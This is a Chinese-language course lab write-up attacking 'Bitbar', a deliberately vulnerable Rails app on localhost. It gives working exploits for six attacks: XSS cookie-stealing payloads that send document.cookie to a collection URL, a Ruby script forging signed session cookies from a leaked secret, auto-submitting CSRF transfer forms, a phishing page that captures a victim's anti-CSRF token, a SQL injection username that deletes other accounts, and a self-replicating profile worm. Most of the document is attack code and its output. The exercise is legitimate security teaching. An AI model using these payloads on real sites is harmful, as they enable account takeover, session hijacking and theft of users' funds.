

# Attack 1: Warm-up exercise: Cookie Theft

根据路由

```
1 get 'profile' => 'user#view_profile'
```

定位到函数

```
1 def view_profile
2   @username = params[:username]
3   @user = User.find_by_username(@username)
4   if not @user
5     if @username and @username != ""
6       @error = "User #{@username} not found"
7     elsif logged_in?
8       @user = @logged_in_user
9     end
10  end
11
12  render :profile
13 end
```


可以看到，输入的 `username` 被直接给打印出来，那么自然就存在XSS漏洞了。

payload

```
1 <script type="text/javascript">(new
  Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>
```


或者使用 xmlhttprequest 发送

```
1 <script type="text/javascript">var x = new XMLHttpRequest();x.open("GET",
  "http://localhost:3000/steal_cookie?cookie="+document.cookie);x.send()</script>
```



## Attack 2: Session hijacking with Cookies

[参考这篇文章](#)



上图说明了原始的 Session 对象 **Session Data** 是如何最终生成 Cookie 的

原来的加密过程：

1. 序列化
2. 填充，aes-cbc加密，结果用base64编码
3. hmac-sha1签名
4. 将加密的数据和签名通过 `--` 连接

但是意外地发现，bitbar的cookie并没有aes加密，可以通过

1. base64解码
2. 反序列化

得到原始信息，那么这么一来，就只需要绕过验签这一个障碍了

在 `config/initializers/secret_token.rb` 中

```

1  # Be sure to restart your server when you modify this file.
2
3  # Your secret key is used for verifying the integrity of signed cookies.
4  # If you change this key, all old signed cookies will become invalid!
5
6  # Make sure the secret is at least 30 characters and all random,
7  # no regular words or you'll be exposed to dictionary attacks.
8  # You can use `rake secret` to generate a secure secret key.
9
10 # Make sure your secret_key_base is kept private
11 # if you're sharing your code publicly.
12 Bitbar::Application.config.secret_token =
13   '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae30
   95f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

```

这就是hmac-sha1的加解密密钥

ok, 到此为止我们就能伪造数据了

1. attacker用户登陆, 获取到当前的cookie
2. 修改cookie值

这里需要用到 `mechanize` 这个包, 安装

```

1  gem install mechanize

```

模拟登陆实现

```

1  agent = Mechanize.new #实例化对象
2  url = "http://localhost:3000/login"
3
4  page = agent.get(url) # 获得网页
5
6  form = page.forms.first # 第一个表单
7  form['username'] = form['password'] = 'attacker' # 填写表单, 用户名和密码都是attacker
8  agent.submit form # 提交表单

```

这就相当于登陆了, 然后我们获得cookie信息

```

1  cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=",
  '')
2  cookie_value, cookie_signature = cookie.split('--')
3  raw_session = Base64.decode64(cookie_value)
4  session = Marshal.load(raw_session)

```

session如下:

```

1  {"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-
   69Gu2PiTg", "logged_in_id"=>4}

```

很明显, 我们只需要修改 `logged_in_id` 为1即可

```

1 session['logged_in_id'] = 1
2 cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of
  newlines
3 cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,
  RAILS_SECRET, cookie_value)
4 cookie_full = "#{SESSION}=##{cookie_value}--#{cookie_signature}"
5
6 puts "document.cookie='#{cookie_full}';"

```

这时候得到的session

```

1 document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQ0GgZFVEkiJTY2ZWY5YTiyY2EyN
  mUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1M1BpVGc
  G0wBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';

```

然后再发送数据，比如访问 <http://localhost:3000/profile>

```

1 url = URI('http://localhost:3000/profile')
2
3 http = Net::HTTP.new(url.host, url.port)
4
5 header = {'Cookie':cookie_full}
6 response = http.get(url,header)
7 puts response.body

```

此时我们就能看到，

```

30 header = {'Cookie':cookie_full}
31 response = http.get(url,header)
32 puts response.body
33
</div>
<div id="main" class="centerpiece">
  <div class="login-status">
    <span class="login-status-text">Hi, <strong>user1</strong></span>
    <a href="logout" class="button-primary pure-button">Log out</a>
  </div>
  <!-- page-specific content goes here -->
  <h3>View profile</h3>

```

浏览器已经认为我们是 **user1** 了

完整代码

```

1 require 'mechanize'
2 require 'net/http'
3 SESSION = '_bitbar_session'
4 RAILS_SECRET =
  '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae30
  95f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'
5
6 agent = Mechanize.new
7 url = "http://localhost:3000/login"
8
9 page = agent.get(url)
10
11 form = page.forms.first

```

```

12 form['username'] = form['password'] = 'attacker'
13 agent.submit form
14
15 cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=",
16 '')
17 cookie_value, cookie_signature = cookie.split('--')
18 raw_session = Base64.decode64(cookie_value)
19 session = Marshal.load(raw_session)
20 puts session
21 session['logged_in_id'] = 1
22 cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of
23 newlines
24 cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,
25 RAILS_SECRET, cookie_value)
26 cookie_full = "#{SESSION}=#{"#{cookie_value}--#{cookie_signature}"
27
28 url = URI('http://localhost:3000/profile')
29
30 http = Net::HTTP.new(url.host, url.port)
31
32 header = {'Cookie': cookie_full}
33 response = http.get(url, header)
34 puts response.body
35

```

## Attack 3: Cross-site Request Forgery

分析，登陆 user1,向attacker转帐，抓到的数据包如下

### Request

Raw Params Headers Hex

```

POST /post_transfer HTTP/1.1
Host: localhost:3000
Content-Length: 41
Cache-Control: max-age=0
Origin: http://localhost:3000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/64.0.3282.204 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:3000/transfer
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
_bitbar_session=BAH7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTZiYmJIMTc3NzczZTFhNWZhMDA3M
2RiYTA1YmNmYWVzBjsAVEkiCnRva2VuBjsARkkiG3ozbUJVaG1WN2FkMzZIUm0wbWJPRmcGOw
BGSSIRbG9nZ2VhX2luX2lkBjsARmkG--e463bdfba05de3892bde099ada00fa60a7d85ccc
Connection: close

destination_username=attacker&quantity=10

```

可见，只需要构造一个表单自动提交即可

b.html 内容如下

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4     <meta charset="UTF-8">
5     <title>Document</title>
6 </head>
7 <body>
8
9     <form action="http://localhost:3000/post_transfer" method="post"
    enctype="application/x-www-form-urlencoded" id="pay">
10         <input type="hidden" name="destination_username" value="attacker">
11         <input type="hidden" name="quantity" value=10>
12     </form>
13
14     <script type="text/javascript">
15         function validate(){
16             document.getElementById("pay").submit();
17         }
18         window.load = validate();
19         setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
20     </script>
21 </body>
22 </html>
```

表单的字段都是隐藏的，并且值都是给定的，之后通过

```
1 document.getElementById("pay").submit();
```

实现自动提交

最后

```
1 setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
```

0.1s 后跳转到百度首页

也可以使用 `xmlhttprequest`，一样的思路

```
1 <html>
2 <body>
3 <script>
4     var request = new XMLHttpRequest();
5     request.open("POST", "http://localhost:3000/post_transfer");
6     request.setRequestHeader("Content-type", "application/x-www-form-
    urlencoded");
7     request.withCredentials = true;
8     try {
9         request.send("quantity=10&destination_username=attacker");
10    } catch (err) {
11        //
12    } finally {
13        window.location = "http://baidu.com/";
14    }
15 </script>
16 </body>
```

```
17 </html>
18
```

## Attack 4: Cross-site request forgery with user assistance

由于 `http://localhost:3000/super_secure_transfer` 转账的时候, 表单带上了一个随机 token, 所以没办法通过 CSRF 来转账, 只能通过钓鱼的办法, 欺骗用户输入自己的 `Super Secret Token`, 这样我们就能绕过服务器的校验了

`bp2.html` 可以使用上一个的代码

`bp.html`

```
1 <html>
2 <head>
3 <title>23333</title>
4 </head>
5 <body>
6 <style type="text/css">
7   iframe {
8     width: 100%;
9     height: 100%;
10    border: none;
11  }
12 </style>
13 <script></script>
14 <iframe src="bp2.html" scrolling="no"></iframe>
15 </body>
16 </html>
17
```

`bp2.html`

```
1 <p>请输入 super_secure_post_transfer 页面下的 Super Secret Token 来证明你不是机器人
  </p>
2
3 <input id="token" type="text" placeholder="Captcha">
4 <button onClick="gotEm()">Confirm</button>
5
6 <script>
7 function gotEm() {
8   var token = document.getElementById("token").value;
9   var request = new XMLHttpRequest();
10  request.open("POST", "http://localhost:3000/super_secure_post_transfer",
11  false);
12  request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
13  request.withCredentials = true;
14  try {
15    request.send("quantity=10&destination_username=attacker&tokeninput=" +
16    token);
17  } catch (err) {
18    // Do nothing on inevitable XSS error
19  } finally {
20    window.top.location = "http://baidu.com";
21  }
22 </script>
23
```

```

19   }
20   }
21   </script>
22

```

## Attack 5: Little Bobby Tables (aka SQL Injection)

删除用户的逻辑如下

```

1   def post_delete_user
2     if not logged_in?
3       render "main/must_login"
4       return
5     end
6
7     @username = @logged_in_user.username
8     User.destroy_all("username = '#{@username}')"
9
10    reset_session
11    @logged_in_user = nil
12    render "user/delete_user_success"
13  end

```

可以看到输入的用户名没有经过任何的过滤直接拼接到了SQL语句中，我们看到后台执行的SQL语句

```

ar/app/controllers/user_controller.rb:127)
User Load (0.3ms) SELECT "users".* FROM "users" WHERE (username = 'user1')
(0.1ms) begin transaction
SQL (1.3ms) DELETE FROM "users" WHERE "users"."id" = ? [["id", 1]]
(2.2ms) commit transaction
Rendering user/delete_user_success.html.erb within layouts/application
Rendered user/delete_user_success.html.erb within layouts/application (0.3ms)

```

如果我们的用户名中含有user3即可将user3删除

那么如果我们注册用户

```

1   user3' or username GLOB 'user3?*'

```

拼接出来的SQL语句必然是

```

1   delete from users where username = user3 or username GLOB 'user3?*'

```

登陆

Hi, **user3' or username GLOB 'user3?\***


Log out

Active user accounts

username	bitbars
user1	200
user2	200
user3	100000
attacker	0
user3' or username GLOB 'user3?*	200



删除



此时可以看到后台执行的SQL语句

```
Started GET /assets/silver_bars.jpg for ::1 at 2020-05-17 08:52:32 +0800
Started POST "/close" for ::1 at 2020-05-17 08:52:35 +0800
Processing by UserController#post_delete_user as HTML
  User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = ? LIMIT ? [[{"id", 5}, [{"LIMIT", 1}]]
DEPRECATION WARNING: Passing conditions to destroy_all is deprecated and will be removed in Rails 5.1. To achieve the same use where(conditions).destroy_all. (called from post_delete_user at /mnt/g/2020/WHU/网络安全/project2-2/project2/bitbar/app/controllers/user_controller.rb:127)
  User Load (0.3ms)  SELECT `users`.* FROM `users` WHERE (username = 'user3' or username GLOB 'user3?*)
  (0.2ms)  begin transaction
  SQL (1.8ms)  DELETE FROM `users` WHERE `users`.`id` = ? [{"id", 3}]
  (1.7ms)  commit transaction
  (0.0ms)  begin transaction
  SQL (0.8ms)  DELETE FROM `users` WHERE `users`.`id` = ? [{"id", 5}]
  (1.5ms)  commit transaction
Rendering user/delete_user_success.html.erb within layouts/application
Rendered user/delete_user_success.html.erb within layouts/application (0.7ms)
Completed 200 OK in 32ms (Views: 18.1ms | ActiveRecord: 6.6ms)
```

## Attack 6: Profile Worm

问题出在渲染用户的profile上面

`profile.html.erb` 中, 渲染用户的 `profile` 代码如下

```
1      <% if @user.profile and @user.profile != "" %>
2          <div id="profile"><%= sanitize_profile(@user.profile) %></div>
3      <% end %>
```

调用了函数 `sanitize_profile`

```
1      def sanitize_profile(profile)
2          return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong
          table tr td th u ul em span), attributes: %w(id class href colspan rowspan src
          align valign))
3      end
```

其中 `santitize` 函数, 通过 `tags` 和 `attributes` 可以指定允许的标签和属性白名单。


然而属性中出现了 `href`, 这意味着我们可以使用JavaScript伪协议来XSS

参考: <https://ruby-china.org/topics/28760>

比如

```
1      <strong id="bitbar_count" class="javascript:alert(1)"></strong>
```

更新自己的 `profile` 时, 查看自己的profile, 即可弹窗



Hi, **attacker**

## Home

You have **0** bitbars.

如果有用户浏览当前的profile，那么将会发生两个操作

1. 转账操作
2. 更新用户的profile

转账操作的代码如下

```
1  var request = new XMLHttpRequest();
2  request.open("POST", "http://localhost:3000/post_transfer");
3  request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
4  request.withCredentials = true;
5  try {
6      request.send("quantity=1&destination_username=attacker");
7  } catch (err) {
8      //
9  } finally {
10     //xxxx 带执行的操作
11 }
```

转帐完成之后，我们需要立即更新当前浏览用户的 **profile**

设置 **profile** 的数据包如下

## Request

Raw Params Headers Hex

POST /set\_profile HTTP/1.1  
Host: localhost:3000  
Content-Length: 90  
Cache-Control: max-age=0  
Origin: http://localhost:3000  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.204 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Referer: http://localhost:3000/  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: \_xsrf=2|10dced9a|e063449966914478ab8a23dae3bcc2fa|1588686899;  
username-localhost-8888="2|1:0|10:1588768043|23:username-localhost-8888|44:M21Y2I0NDc5ZDhkNDJmZmJlMwY1YWNIzjkwNDVhZDM=|47e108e7c1e1f4f71726b203406b1503fb299d2651728a951122f75857bc4c50";  
\_bitbar\_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTU1YjM3NDg5YjIhYmFjZmI3NzVIYjQ5OGI5OTQ1NGY0BjsAVEkiCnRva2VuBjsARkkiG2ZRM0U0X2FZUjZVj6BE5CSFZucHcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkJ--095418d577d943464ac4464d3d0f265d768276b2  
Connection: close

new\_profile=%3Cstrong+id%3D%22bitbar\_count%22+class%3D%22alert%281%29%22%3E%3



Type a search term

0 matches

只需要向路由 `/set_profile` 发送请求即可

```
1 request = new XMLHttpRequest();  
2 request.open("POST", "http://localhost:3000/set_profile", true);  
3 request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
4 request.withCredentials = true;  
5 request.send("new_profile=".concat(escape(document.getElementById('hax-  
wrap').outerHTML)));
```

遇到的问题:

1. 发送的数据含有html转移后的 & 符号。如图

42	http://localhost:3000	POST	/set_profile	✓			
41	http://localhost:3000	POST	/post_transfer	✓	200	2557	HTML
40	http://localhost:3000	GET	/profile?username=attacker	✓	200	3747	HTML
37	http://localhost:3000	POST	/post_transfer	✓	200	2226	HTML
36	http://localhost:3000	POST	/set_profile	✓	200	2101	HTML
35	http://localhost:3000	GET	/profile?username=attacker	✓	200	4081	HTML
33	http://localhost:3000	POST	/set_profile	✓	200	2101	HTML

Request Response

Raw Params Headers Hex

Referer: http://localhost:3000/profile?username=attacker  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: \_xsrf=2|10dced9a|e063449966914478ab8a23dae3bcc2fa|1588686899;  
username-localhost-8888="2|1:0|10:1588768043|23:username-localhost-8888|44:M21Y2I0NDc5ZDhkNDJmZmJlMwY1YWNIzjkwNDVhZDM=|47e108e7c1e1f4f71726b203406b1503fb299d2651728a951122f75857bc4c50";  
\_bitbar\_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTU1YjM3NDg5YjIhYmFjZmI3NzVIYjQ5OGI5OTQ1NGY0BjsAVEkiCnRva2VuBjsARkkiG2ZRM0U0X2FZUjZVj6BE5CSFZucHcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkJ--5569a851abfc45ae123b5145239dcc9d5dcccff34  
Connection: close

quantity=1&destination\_username=attacker

这里我采用的是 `String.fromCharCode()` 来将其做一次转换

2. 字符串拼接只能用 `concat` 而不能用 `+` , 因为 `+` 号在 html 中是空格的意思

最后的代码

```
1 <span id="wrap">
2 <span id="bitbar_count" class="eval(document['getElementById']('pxy')
  ['innerHTML'])"></span>
3 <span id="pxy">
4 document.getElementById('pxy').style.display = "none";
5 setTimeout(function(){
6
7     var request = new XMLHttpRequest();
8     request.open("POST", "http://localhost:3000/post_transfer");
9     request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
10    request.withCredentials = true;
11    try {
12
13        request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_use
14        rname=attacker"));
15    } catch (err) {
16        //
17    } finally {
18        request = new XMLHttpRequest();
19        request.open("POST", "http://localhost:3000/set_profile", true);
20        request.setRequestHeader("Content-type", "application/x-www-form-
21        urlencoded");
22        request.withCredentials = true;
23
24        request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHT
25        ML)));
26    }
27 }, 0);
28 10;
29 </span>
30 <p>233333</p>
31 </span>
```

ps: 也可以用 js 动态创建 form 表单的方式, 但是这样页面是会跳转的, 无法满足

在转账和profile的赋值过程中, 浏览器的地址栏需要始终停留在 <http://localhost:3000/profile?user name=x> , 其中x是profile被浏览的用户名。

附上js动态创建form表单的代码

```
1 <span id="wrap">
2 <strong id="bitbar_count" class="eval((document['getElementById']
3 ('pxy').innerHTML))"></strong>
4 <span id="pxy">
5 document.getElementById('pxy').style.display = "none";
6 function makeForm(){
7     var form = document.createElement("form");
8     form.id = "pay";
```

```
9     document.body.appendChild(form);
10     var input = document.createElement("input");
11     input.type = "text";
12
13     input.name = "destination_username";
14     input.value = "attacker";
15     input.type = 'hidden';
16
17     form.appendChild(input);
18     var input2 = document.createElement("input");
19     input2.type = "hidden";
20     input2.name = "quantity";
21     input2.value = 10
22
23     form.appendChild(input2);
24     form.action = "http://localhost:3000/post_transfer";
25     form.method = "POST";
26     form.enctype = "application/x-www-form-urlencoded";
27     form.submit();
28 }
29 makeForm();
30 request = new XMLHttpRequest();
31 request.open("POST", "http://localhost:3000/set_profile", true);
32 request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
33 request.withCredentials = true;
34 request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
35 </span>
36 </span>
```